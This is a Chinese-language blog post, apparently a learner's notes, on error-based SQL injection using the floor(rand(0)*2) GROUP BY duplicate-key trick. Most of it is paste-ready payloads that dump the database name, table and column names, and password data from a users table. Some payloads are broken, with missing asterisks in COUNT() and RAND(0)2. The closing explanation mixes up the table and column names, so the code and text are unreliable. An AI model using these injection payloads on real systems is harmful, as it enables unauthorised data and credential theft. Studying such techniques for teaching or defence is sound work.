最近一直在看sql,xss,文件上传之类的漏洞,没有抽出空来写写博客
上次总结了SQL注入比较基础的整型和字符型的注入,今天就总结一下报错型的SQL注入,等下次有时间了在写一些,布尔型的和时间型的盲注
关于报错型的注入,是在当注入对时不显示想得到的数据或者说注入对的时候只会有一种反应,但当注入错误时候会返回错误,这时就可以用报错型的注入方法。
报错型注入:
关键语句:
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x
最关键的是三个函数分别是: rand(0),floor(),group by
基本上是靠这三个函数来报错的,其中的原理我也是查了好多CSDN上也有一下博主说的十分的详细还带有例子,简单的说明一下,floor(rand(0)*2)的值是有一定顺序的是 0110110110…,group by x 是对表里x进行扫描然后形成表,当表里没有x值时count为1,当存在一个一样的时count +1,表中x为主键。group by 有一个特点是x的值没在表中时,在插入之前对group by后面的语句会再进行一次计算,然后再插入。有时会用 group by (floor(rand(0)2))来进行报错,是因为rand(0)函数具有一定的随机性,在计算时插入表的时候会造成主键的冲突,从而出错,接着报错。
下面列一下我用的报错语句,我这里就粘贴的hackbar里的报错语句(还是要学会用一些工具来帮助自己,这样会比较方便快捷)
爆库名:AND(SELECT 1 FROM (SELECT COUNT(),CONCAT((SELECT(SELECT CONCAT(CAST(DATABASE() AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
爆表名: AND(SELECT 1 FROM (SELECT COUNT(),CONCAT((SELECT(SELECT CONCAT(CAST(table_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
爆列名: AND (SELECT 1 FROM (SELECT COUNT(),CONCAT((SELECT(SELECT CONCAT(CAST(column_name AS CHAR),0x7e)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=DATABASE() LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
爆数据: AND (SELECT 1 FROM (SELECT COUNT(),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
PS:
因为是好早之前做的了,这里就没有截图了,只是总结一下报错型注入的大致原理和语句。
解释一下这些语句中 database()是库名,username表名,users列名